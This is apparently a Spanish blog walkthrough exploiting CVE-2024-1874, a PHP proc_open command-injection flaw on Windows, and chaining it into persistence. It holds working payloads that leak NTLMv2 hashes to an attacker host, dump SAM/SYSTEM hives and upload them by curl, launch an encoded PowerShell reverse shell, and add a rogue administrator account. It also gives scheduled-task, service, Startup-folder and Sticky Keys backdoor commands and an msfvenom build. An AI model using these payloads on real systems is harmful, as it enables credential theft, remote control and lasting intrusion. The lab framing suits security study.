A mediados del pasado mes de Abril se publicaban los detalles técnicos de esta vulnerabilidad crítica en PHP, la misma se referenciaba con el identificador CVE-2024-1874 y se trata de la posibilidad de inyectar comandos a través del parámetro $command (array-ish) de proc_open, esto es debido a un manejo inadecuado de la línea de comandos en Windows (en principio solo afecta a este sistema operativo).
El usuario Ry0taK que viene referenciado en los créditos de la publicación base, comenta los siguientes detalles:
Además acompaña de una prueba de concepto (PoC) que es muy fácil de leer y entender. Veamos como aprovecharla en nuestro laboratorio:
La versión que estoy empleando en el laboratorio es PHP 8.3.4, es decir, se trata de una versión vulnerable.
En la prueba de concepto (PoC) se indica que es necesario disponer de un fichero .bat
o un fichero .cmd
, algo como esto:
Luego generaremos un fichero PHP con esta base de código fuente que nos permite aprovechar la vulnerabilidad.
Llevaremos ambos ficheros creados al host Windows objetivo y al ejecutarlo obtendremos el siguiente resultado:
En primer lugar se ejecutará el contenido del fichero .cmd
y posteriormente se ejecutará el comando que indicamos en el fichero PHP, en este caso simplemente fue un whoammi
.
Ahora bien, vayamos un poco más allá y exploremos las posibilidades que nos permite la explotación de esta vulnerabilidad en un escenario de post-explotación, cuando estemos intentando ganar persistencia en nuestro compromiso.
Schtask
Las tareas programadas (Schtask) es un vector bastante empleado para este tipo de propósito, en este caso lo pondremos en marcha a través del siguiente comando:
schtasks /create /sc minute /mo 1 /tn "EvilTask" /tr "C:\PHP\php-8.3.4\php.exe C:\PHP\fichero.php" /ru "SYSTEM"
El fichero PHP que emplearemos en este caso es:
<?php $descriptorspec = [STDIN, STDOUT, STDOUT]; $proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&cmd.exe /c dir \\\\192.168.10.6\\foo"], $descriptorspec, $pipes); proc_close($proc); ?>
Que básicamente disparará una llamada al host del atacante que estará ejecutando responder
para hacerse con los hash NTLMv2 de la cuenta de la máquina.
responder -I enp0s3 -v
Algunos otros comandos que podrán hacernos falta en las pruebas son:
schtasks /query /tn EvilTask
-> Consultar por una tarea programadaschtasks /delete /tn EvilTask /f
-> Eliminación de tarea programada
Ejecución de servicio
La creación y posterior ejecución de servicio es otro vector muy común para obtener persistencia. Apoyados en esta vulnerabilidad de PHP, en este caso emplearemos el siguiente código fuente:
<?php $descriptorspec = [STDIN, STDOUT, STDOUT]; $proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&cmd.exe /c reg save hklm\sam C:\PHP\sam.copy && reg save hklm\system C:\PHP\system.copy && curl http://192.168.10.6:8000/upload -X POST -F files=@C:\\PHP\\sam.copy && curl http://192.168.10.6:8000/upload -X POST -F files=@C:\\PHP\\system.copy"], $descriptorspec, $pipes); proc_close($proc); ?>
Donde básicamente estaremos generando un volcado de los ficheros SAM y SYSTEM del objetivo y posteriormente lo estaremos subiendo a un servidor del atacante.
El servicio lo crearemos y ejecutaremos de la siguiente manera:
sc create EvilSvc binpath= "cmd.exe /k C:\PHP\php-8.3.4\php.exe C:\PHP\fichero.php" start= "auto" obj= "LocalSystem" sc start EvilSvc
Cabe destacar que es posible que obtengamos este error al intentar ejecutar el servicio creado, sin embargo el comando finalmente es ejecutado y por tanto la vulnerabilidad de PHP finalmente es aprovechada.
Del lado de atacante, al disponer del servidor python para la subida de ficheros, recibirá la siguiente conexión registrada en los logs:
python3 -m uploadserver
-> Levanta servidor python para la subida de ficheros
Finalmente el atacante podrá obtener los hashes NTLM de los usuarios locales del sistema objetivo:
Algunos otros comandos que podrán hacernos falta en las pruebas son:
sc query EvilSvc
-> Consulta del serviciosc delete EvilSvc
-> Eliminación de servicio
Carpeta StartUp
También podremos aprovechar el directorio donde se colocan los programas que se ejecutan al inicio del sistema para la persistencia.
Ruta: C:\ProgramData\Microsoft\Windows\Start Menu\Programas\StartUp
En este caso el fichero PHP obtendrá la ejecución de una reverse shell generada mediante el C2 Villain:
<?php $descriptorspec = [STDIN, STDOUT, STDOUT]; $proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG 8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBl AG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQ AuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4AMQAwAC4A NgAnACwANAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG 0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3 AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIA AkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUA dwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAE kARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAk AHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdA ByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMA IAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgAC gAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABz AGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMA AsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0A OwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQB9ACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAG UAbgA="], $descriptorspec, $pipes); proc_close($proc); ?>
Por tanto, un usuario que inicia sesión normalmente:
Conseguirá disparar la explotación de la vulnerabilidad crítica de PHP, que en un primer momento se mostrará así por unos pocos segundos:
Para posteriormente minimizarse y tan solo reflejarse así:
Del lado del atacante, desde el C2 Villain, se conseguirá el siguiente resultado:
Este framework nos permite interactuar con el objetivo, ya sea a través del envío de comandos o simplemente conectado al mismo:
Sticky Keys
Por último tenemos el aprovechamiento de la característica conocida como «Sticky Keys» del sistema:
Que más que nada podría considerarse como una técnica para «backdoorizar» el sistema, ya que para disparar esta funcionalidad necesitaremos ejecutar múltiple veces la tecla Máyus.
En este caso, inicialmente necesitaremos un fichero ejecutable, que lo reemplazaremos con el ejecutable sethc.exe
del sistema. Podremos generarlo de la siguiente manera:
msfvenom --platform Windows -p windows/exec CMD="C:\PHP\php-8.3.4\php.exe C:\PHP\fichero.php" -f exe -o command.exe
Si intentamos directamente realizar el reemplazo del ejecutable, obtendremos el siguiente error:
Por tanto, previamente será necesario asumir la propiedad del ejecutable (sethc.exe
) y habilitarnos los privilegios necesarios.
takeown /f C:\Windows\System32\sethc.exe icacls C:\Windows\System32\sethc.exe /grant "%username%":F copy /y C:\PHP\command.exe C:\Windows\System32\sethc.exe
Después de esto, podremos centrarnos en el fichero PHP:
<?php $descriptorspec = [STDIN, STDOUT, STDOUT]; $proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&cmd.exe /c net user attacker P@ssw0rd! /add && net localgroup administradores attacker /add"], $descriptorspec, $pipes); proc_close($proc); ?>
Que en este caso, lo que haremos es generarnos un nuevo usuario local en el sistema y atribuirle privilegios de administrador. A continuación las evidencias:
Nada más después de disparar este método, ya podremos iniciar sesión en el sistema mediante el usuario local recientemente creado.
Validando la creación del usuario podremos evidenciar sus propiedades:
Referencias
- https://github.com/php/php-src/security/advisories/GHSA-pc52-254m-w9w7
- https://www.openwall.com/lists/oss-security/2024/04/12/11
- https://www.ired.team/offensive-security/persistence/t1053-schtask
- https://dmcxblue.gitbook.io/red-team-notes/persistence/scheduled-tasks
- https://www.ired.team/offensive-security/persistence/t1035-service-execution
- https://dmcxblue.gitbook.io/red-team-notes/persistence/new-service
- https://book.hacktricks.xyz/v/es/generic-methodologies-and-resources/exfiltration
- https://pypi.org/project/uploadserver/
- https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/persistence/t1547-boot-or-logon-autostart-execution/registry-run-keys-startup-folder
- https://dmcxblue.gitbook.io/red-team-notes/persistence/registry-keys-startup-folder
- https://azeria-labs.com/persistence/
- https://www.ired.team/offensive-security/persistence/t1015-sethc
- https://blog.compass-security.com/2018/02/no-need-to-break-in-use-the-backdoor/
- https://www.cyberis.com/article/sticky-keys-classic-eud-device-privilege-escalation
- https://www.sevenforums.com/general-discussion/407309-help-taking-ownership-system-file-using-batch-file.html
- https://www.ired.team/offensive-security/persistence/t1136-create-account